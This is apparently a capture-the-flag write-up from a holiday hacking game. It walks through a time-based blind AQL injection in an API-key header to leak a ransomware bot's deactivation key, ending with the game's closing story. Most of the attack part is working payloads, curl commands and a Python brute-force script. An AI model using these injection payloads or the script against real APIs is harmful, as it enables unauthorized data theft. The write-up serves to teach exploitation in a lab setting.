Deactivate Frostbit Naughty-Nice List Publication

Strategy

The final challenge is to deactivate the release of the naughty and nice list. It’s very common now for ransomware actors to both threaten victims with not being able to get their files back and having their files leaked publicly.

I noticed during Santa Vision part C silver this reference to the deactivate API:

image-20241227173421408

I’ll poke at that API and look for a way to leak the API key.

API Enumeration

General Interaction

Trying to directly query the endpoint from MQTT returns a generic error:

oxdf@hacky$ curl 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate'
{"error":"Invalid Request"}

Much like the rest of the API, adding a GET parameter setting debug=true makes for better messages:

oxdf@hacky$ curl 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate?debug=true'
{"debug":true,"error":"Invalid Key"}

Adding a key doesn’t help:

oxdf@hacky$ curl 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate?debug=true' -H 'X-API-KEY: 0xdf'
{"debug":true,"error":"Invalid Key"}
oxdf@hacky$ curl 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate?debug=true' -H 'X-API-KEY: aaaaaaaaaaaaaa'
{"debug":true,"error":"Invalid Key"}

Injection POC

I’ll try setting the X-API-KEY to a single quote to check for injection:

oxdf@hacky$ curl -H "X-API-KEY: '" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate?debug=true'
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n    <other_query_lines_omitted>\n    RETURN doc"}

With debug, there’s a verbose error message that leaks part of the query being run.

That language is ArangoDB. If I didn’t find that already above, any AI can identify it based on the query in the error message:

image-20250103165345396

WAF

In trying to exploit this injection, I’ll find there is some kind of web application firewall (WAF) running that blocks certain words (likely implemented as just a part of the back end Python application).

For example, “;” is blocked:

oxdf@hacky$ curl -H "X-API-KEY: ;" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Request Blocked"}

Looking more closely, it returns an HTTP 403 forbidden:

oxdf@hacky$ curl -I -H "X-API-KEY: ;" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
HTTP/2 403 
server: nginx/1.27.1
date: Fri, 03 Jan 2025 21:56:21 GMT
content-type: application/json
content-length: 41
strict-transport-security: max-age=31536000

*, /, and \ are also blocked, as are keywords used in AQL such as FOR, LET, RETURN, and FILTER.

Injection

POC

I’m able to get a time-based boolean injection working using the ternary operator. For example:

oxdf@hacky$ time curl -H "X-API-KEY: ' OR true ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n    <other_query_lines_omitted>\n    RETURN doc"}

real    0m2.136s
user    0m0.032s
sys     0m0.009s
oxdf@hacky$ time curl -H "X-API-KEY: ' OR false ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Invalid Key"}

real    0m0.137s
user    0m0.031s
sys     0m0.012s

The reason it’s two seconds and not five is that the server has a two second timeout configured. Still, that’s enough to tell the difference.

Read POC

To make this valuable, I need to ask questions of the database that return true or false, and replace true / false in the above examples with that question. If it returns in a little over two seconds, it’s true. If it returns much faster, it’s false.

The first thing I need to find is the name of the redacted key name, doc.<key_name_omitted>. I’ll use SUBSTRING(ATTRIBUTES(doc)[0], 0, 1) == '<c>' as that test, where <c> is different characters. This gets the first attribute from doc and uses SUBSTRING to get the first character.

Some manual experimentation shows it’s “d”:

oxdf@hacky$ time curl -H "X-API-KEY: ' OR SUBSTRING(ATTRIBUTES(doc)[0], 0, 1) == 'a' ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Invalid Key"}

real    0m0.164s
user    0m0.029s
sys     0m0.008s
oxdf@hacky$ time curl -H "X-API-KEY: ' OR SUBSTRING(ATTRIBUTES(doc)[0], 0, 1) == 'd' ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n    <other_query_lines_omitted>\n    RETURN doc"}

real    0m2.137s
user    0m0.035s
sys     0m0.003s

I can update the SUBSTRING call and see the second character is “e”:

oxdf@hacky$ time curl -H "X-API-KEY: ' OR SUBSTRING(ATTRIBUTES(doc)[0], 1, 1) == 'a' ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Invalid Key"}

real    0m0.139s
user    0m0.020s
sys     0m0.010s
oxdf@hacky$ time curl -H "X-API-KEY: ' OR SUBSTRING(ATTRIBUTES(doc)[0], 1, 1) == 'e' ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n    <other_query_lines_omitted>\n    RETURN doc"}

real    0m2.137s
user    0m0.021s
sys     0m0.009s

Python Read Key Name

I’ll write a simple Python script to get the key name completely:

import requests
import string


bot_uuid = '96600581-1981-4967-82aa-b88216a68348'
url = f'https://api.frostbit.app/api/v1/frostbitadmin/bot/{bot_uuid}/deactivate?debug=true'
result = ''
while True:
    for c in string.printable[:-6]:
        api_key = f"' OR SUBSTRING(ATTRIBUTES(doc)[0], {len(result)}, 1) == '{c}' ? SLEEP(5) : 'a"
        resp = requests.get(url, headers={"X-API-KEY": api_key})
        print(f"\r{result}{c}", end="", flush=True)
        if resp.elapsed.total_seconds() > 2:
            result += c
            break
    else:
        break
print(f"\r{result} ")

It uses nested loops. The inner for loop checks each printable character (ignoring the last 6 whitespace characters), and when the resp.elapsed.total_seconds() is greater than 2, it adds the character to the result string and breaks that loop. Then it hits the while True and starts the next character.

If it gets to the end of the for loop, then it runs the else, which breaks out of the while True and prints the result.

It uses \r prints to show the scan as it runs:

The key name is deactivate_api_key.

Python Generic Read

I’ll update the script to take in an argument as to what to read:

import requests
import string
import sys


bot_uuid = '96600581-1981-4967-82aa-b88216a68348'
url = f'https://api.frostbit.app/api/v1/frostbitadmin/bot/{bot_uuid}/deactivate?debug=true'
target = sys.argv[1] if len(sys.argv) > 1 else "ATTRIBUTES(doc)[0]"

result = ''
while True:
    for c in string.printable[:-6]:
        api_key = f"' OR SUBSTRING({target}, {len(result)}, 1) == '{c}' ? SLEEP(5) : 'a"
        resp = requests.get(url, headers={"X-API-KEY": api_key})
        print(f"\r{result}{c}", end="", flush=True)
        if resp.elapsed.total_seconds() > 2:
            result += c
            break
    else:
        break
print(f"\r{result} ")

Now I can give any AQL expression that I want to read. I’ll read the value of doc.deactivate_api_key:

oxdf@hacky$ time python brute_injection.py doc.deactivate_api_key
abe7a6ad-715e-4e6a-901b-c9279a964f91 

real    2m53.657s
user    0m17.524s
sys     0m0.315s

Deactivate Ransomware

Now I can make that request natually:

oxdf@hacky$ curl -H "X-API-KEY: abe7a6ad-715e-4e6a-901b-c9279a964f91" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate?debug=true'
{"message":"Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4\",\"hash\":\"3ebe885c9f422509de9ca91eb2436efa62d2b89e862b9baf332844d4fff16cea\",\"uid\":\"78078\"}\nPOSTED WIN RESULTS FOR RID e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4","status":"Deactivated"}

Visiting the page shows it has stopped the count down:

image-20250103174609174

It still doesn’t show the key:

        const debugData = "eyJ1dWlkIjogImUyOWU2ZTZmLTJhYjQtNGI3NC1iNmVlLWJlNzkxYjdiNTVkNCIsICJub25jZSI6ICJSRURBQ1RFRCIsICJlbmNyeXB0ZWRrZXkiOiAiUkVEQUNURUQiLCAiZGVhY3RpdmF0ZWQiOiBmYWxzZSwgICJldGltZSI6IDE3NjY1MzQ0MDB9";
        const deactivated = true;
        const decryptedkey = false;

But the objective is complete in my snowball / badge.

Beyond Root

Exploring a bit more, there’s are other attributes on the doc object that can be leaked via this injection:

oxdf@hacky$ time python brute_injection.py 'ATTRIBUTES(doc)[1]'
_rev 

real    0m46.477s
user    0m6.701s
sys     0m0.160s
oxdf@hacky$ time python brute_injection.py doc._rev
_ieE_hFC--- 

real    2m0.813s
user    0m15.565s
sys     0m0.315s

The other keys are:

Key Value
_rev _ieE_hFC---
_key config
_id config

Outro

On solving the last challenge, the badge Story tab updates under Act III:

Thank you dear player for bringing peace and order back to the North Pole!

Please talk to Santa in the castle.

The door to the castle is now open:

image-20250103202717028

Inside, Santa waits in the entrance hall used in previous KingleCons:

image-20250103202750240
Santa

Santa

I thought the holidays were truly lost this year. I am so thankful you were here to right the wrongs of my misguided elves. I will ensure they never jeopardize the holidays again. This is the kind of behavior I expect from Jack Frost and his Trolls, not the elves.

But, I suppose I have fault in this as well, since it’s the first time I’ve been away at the start of the season, and after last year’s unconventional holidays.

Plus, I didn’t inform the elves ahead of time. Quite the lesson learned on my part. Even the best of us can always improve.

I know each faction had the best interest of the holidays at heart, even if their methods were misguided. It’s important to have empathy and forgiveness, especially during the holidays.

After all, the greatest gift we give AND receive is time spent with loved ones. Never forget that!

Now let’s put all this behind us and be merry. Until next year! Happy Holidays!